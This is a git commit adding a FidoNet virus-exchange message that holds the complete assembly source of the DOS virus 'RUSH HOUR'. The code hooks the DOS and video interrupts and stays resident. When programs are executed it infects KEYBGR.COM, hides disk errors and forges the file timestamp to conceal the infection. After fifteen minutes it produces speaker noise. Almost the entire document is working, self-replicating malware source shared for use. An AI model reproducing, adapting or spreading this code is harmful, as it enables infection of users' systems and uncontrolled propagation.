Add files via upload

2026-06-16 15:59:24 +00:00 · 2021-01-12 18:07:35 -06:00
parent 6bf46a48b9
commit c227f1121a
97 changed files with 38998 additions and 0 deletions
@@ -0,0 +1,313 @@
+;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
+; Msg  : 27 of 54
+; From : MeteO                               2:5030/136      Tue 09 Nov 93 09:13
+; To   : -  *.*  -                                           Fri 11 Nov 94 08:10
+; Subj : RUSHHOUR.DSM
+;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+;.RealName: Max Ivanov
+;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
+;* Kicked-up by MeteO (2:5030/136)
+;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
+;* From : Dr T , 2:283/718 (06 Nov 94 16:49)
+;* To   : Clif Jessop
+;* Subj : RUSHHOUR.DSM
+;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
+;@RFC-Path:
+;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
+;18.n283!not-for-mail
+;@RFC-Return-Receipt-To: Dr.T.@f718.n283.z2.fidonet.org
+    PAGE 72,132
+    TITLE Virus "RUSH HOUR" V1.0 (p) Foxi, 1986
+    NAME VIRUS
+
+ABS0        SEGMENT AT 0
+        ORG 4*10h
+VIDEO_INT   DW  2 DUP (?)   ; Video Interrupt
+
+        ORG 4*21h
+DOS_INT     DW  2 DUP (?)   ; DOS Interrupt
+
+        ORG 4*24h
+ERROR_INT   DW  2 DUP (?)   ; ERROR Interrupt
+ABS0        ENDS
+
+code    SEGMENT
+    assume  cs:code, ds:code, es:code
+
+    ORG 05Ch
+FCB LABEL BYTE
+DRIVE   DB  ?
+FSPEC   DB  11 DUP (' ')    ; Filename
+    ORG 6Ch
+FSIZE   DW  2 DUP (?)
+FDATE   DW  ?       ; date of last modifcation
+
+FTIME   DW  ?       ; time of last mod
+    ORG 80h
+    DTA DW 128 DUP (?)  ; Disk Transfer Area (DTA)
+    ORG 071Eh       ; END OF THE NORMAL KEYBGR.COM
+
+    xor ax, ax
+    mov es, ax      ; ES points to ABS0
+    assume es:ABS0
+
+    push cs
+    pop ds
+
+    mov ax, VIDEO_INT       ; store old interrupt vectors
+    mov bx, VIDEO_INT+2
+    mov word ptr VIDEO_VECTOR, ax
+    mov word ptr VIDEO_VECTOR+2, bx
+    mov ax, DOS_INT
+    mov bx, DOS_INT+2
+    mov word ptr DOS_VECTOR, ax
+    mov word ptr DOS_VECTOR+2, bx
+    cli
+    mov DOS_INT, OFFSET VIRUS   ; new DOS vector points to VIRUS
+
+    mov DOS_INT+2, cs
+    mov VIDEO_INT, OFFSET DISEASE   ; video vector points to DISEASE
+    mov VIDEO_INT+2, cs
+    sti
+
+    mov ah, 0       ; Get system time
+    int 1Ah         ; read TimeOfDay (TOD)
+    mov TIME_0, dx      ; CX:DX = number of clock ticks since midnight
+
+    lea dx, VIRUS_ENDE
+    int 27h         ; terminate program & remain resident (TSR)
+
+VIDEO_VECTOR    DD  (?)
+DOS_VECTOR  DD  (?)
+ERROR_VECTOR    DW  2 DUP (?)
+TIME_0      DW  ?
+
+;
+; VIRUS main program
+;
+; 1. System call AH=4BH?
+;    No: --> 2
+;    Yes: Test for KEYBGR.COM on specified drive
+;     Already infected?
+;     Yes :--> 3.
+;     No  : Infection!
+;
+; 2. Jump to normal DOS
+
+RNDVAL  DB  'bfhg'
+ACTIVE  DB  0       ; not active
+PRESET  DB  0       ; first virus not active
+
+    DB  'A:'
+FNAME   DB  'KEYBGR  COM'
+    DB  0
+
+VIRUS   PROC    FAR
+    assume cs:code, ds:nothing, es:nothing
+
+    push ax
+    push cx
+    push dx
+
+    mov ah, 0       ; check if at least 15 minutes
+    int 1ah         ; have elapsed since installation.
+
+    sub dx, TIME_0
+    cmp dx, 16384       ; 16384 ticks on the clock=15 minutes
+    jl $3
+    mov ACTIVE, 1       ; if so, activate virus
+
+  $3:   pop dx
+    pop cx
+    pop ax
+
+    ; disk access because of the DOS command
+    ; "Load & execute program" ?
+    cmp ax, 4B00h
+    je $1
+
+EXIT_1:
+    jmp DOS_VECTOR      ; No: --> continue as normal
+
+  $1:   push es         ; ES:BX --> parameter block
+    push bx         ; DS:DX --> filename
+    push ds         ; save registers which will be needed
+    push dx         ; for INT 21H (AH=4Bh)
+
+    mov DI, dx
+    mov DRIVE, 0        ; set the drive of the program
+    mov al, ds:[DI+1]   ; to be executed
+    cmp al, ':'
+    jne $5
+
+    mov al, ds:[DI]
+    sub al, 'A'-1
+    mov DRIVE, al
+
+  $5:   cld
+    push cs
+    pop ds
+    xor ax, ax
+    mov es, ax
+    assume ds:code, es:ABS0
+
+    mov ax, ERROR_INT   ; ignore all disk "errors"
+    mov bx, ERROR_INT+2 ; with our own error routine
+    mov ERROR_VECTOR, ax
+    mov ERROR_VECTOR+2, bx
+    mov ERROR_INT, OFFSET ERROR
+    mov ERROR_INT+2, cs
+
+    push cs
+    pop es
+    assume es:code
+
+    lea dx, DTA     ; DS:DX -> Disk Transfer Area (DTA)
+    mov ah, 1Ah     ; SET DISK TRANSFER AREA ADDRESS
+    int 21h
+    mov bx, 11      ; transfer the filename
+
+  $2:
+    mov al, fname-1[bx] ; into File Control Block (FCB)
+    mov FSPEC-1[bx], al
+    DEC bx
+    JNZ $2
+
+    lea dx, FCB     ; open file (for writing)
+    mov ah, 0FH
+    int 21H
+
+    cmp al, 0
+    jne EXIT_0      ; file does not exist --> end
+
+    mov BYTE PTR FCB + 20h, 0
+    mov ax, FTIME       ; file already infected?
+    cmp ax, 4800h
+    je EXIT_0       ; YES --> END
+
+    mov PRESET, 1       ; (All copies are virulent !)
+    mov SI, 100H        ; write the virus in the file
+
+   $4:
+    lea DI, DTA
+    mov cx, 128
+    REP MOVSB
+    lea dx, FCB         ; DS:DX -> opened FCB
+    mov ah, 15h         ; SEQUENTIAL WRITE TO FCB FILE
+    int 21h
+
+    cmp SI, OFFSET VIRUS_ENDE
+    jl $4
+
+    mov FSIZE, OFFSET VIRUS_ENDE - 100H
+    mov FSIZE+2, 0      ; set correct file size
+    mov FDATE, 0AA3h    ; set correct date (3-5-86)
+    mov FTIME, 4800h    ; set time (09:00:00)
+
+    lea dx, FCB     ; close file
+    mov ah, 10h
+    int 21h
+
+    xor ax, ax
+    mov es, ax
+    assume es:ABS0
+
+    mov ax, ERROR_VECTOR    ; reset the error interrupt
+    mov bx, ERROR_VECTOR+2
+    mov ERROR_INT, ax
+    mov ERROR_INT+2, bx
+
+   EXIT_0:
+    pop dx          ; restore the saved registers
+    pop ds
+    pop bx
+    pop es
+    assume ds:nothing, es:nothing
+
+    mov ax, 4B00h       ; "EXEC" - LOAD AND EXECUTE PROGRAM
+    jmp DOS_VECTOR      ; normal function execution
+
+VIRUS   ENDP
+
+ERROR   PROC FAR
+    IRET            ; simply ignore all errors...
+
+ERROR   ENDP
+
+DISEASE PROC FAR
+    assume ds:nothing, es:nothing
+    push ax         ; Save registers
+    push cx
+
+    test PRESET, 1
+    jz EXIT_2
+
+    test ACTIVE, 1
+    jz EXIT_2
+
+    IN  al, 61h     ; Enable speak (Bit 0 := 0)
+    AND al, 0feh
+    OUT 61h, al
+
+    mov cx, 3           ; index loop cx
+ NOISE:             ; generate Noise
+    mov al, RNDVAL
+    xor al, RNDVAL + 3
+    SHL al, 1
+    SHL al, 1
+    RCL WORD PTR RNDVAL, 1
+    RCL WORD PTR RNDVAL+2, 1
+
+    mov ah, RNDVAL      ; output some bit
+    and ah, 2       ; of the feedback
+    IN al, 61h      ; shift register
+    and al, 0FDh        ; --> noise from speaker
+    OR al, ah
+    OUT 61H, al
+
+    LOOP NOISE
+
+    and al, 0FCh        ; turn speaker off
+    OR al,1
+    OUT 61H, al
+
+ EXIT_2:
+    pop cx
+    pop ax
+    jmp VIDEO_VECTOR    ; jump to normal VIDEO routine ...
+
+DISEASE ENDP
+
+    DB 'This program is a VIRUS program.'
+    DB 'Once activated it has control over all'
+    DB 'system devices and even over all storage'
+    DB 'media inserted by the user.  It continually'
+    DB 'copies itself into uninfected operating'
+    DB 'systems and thus spreads uncontrolled.'
+
+    DB 'The fact that the virus does not destroy any'
+    DB 'user programs or erase the disk is merely due'
+    DB 'to a philanthropic trait of the author......'
+
+    ORG 1C2Ah
+
+VIRUS_ENDE  LABEL BYTE
+
+code    ends
+
+    end
+
+;-+-  Concord/QWK O.O1 Beta-7
+; + Origin: FidoNet * Mathieu Not‚ris * Brussels-Belgium-Europe (2:283/718)
+;=============================================================================
+;
+;Yoo-hooo-oo, -!
+;
+;
+;    þ The MeÂeO
+;
+;/os,/o,/op,/oiObject code: standard, standard w/overlays, Phar Lap, or IBM
+;
+;--- Aidstest Null: /Kill
+; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
+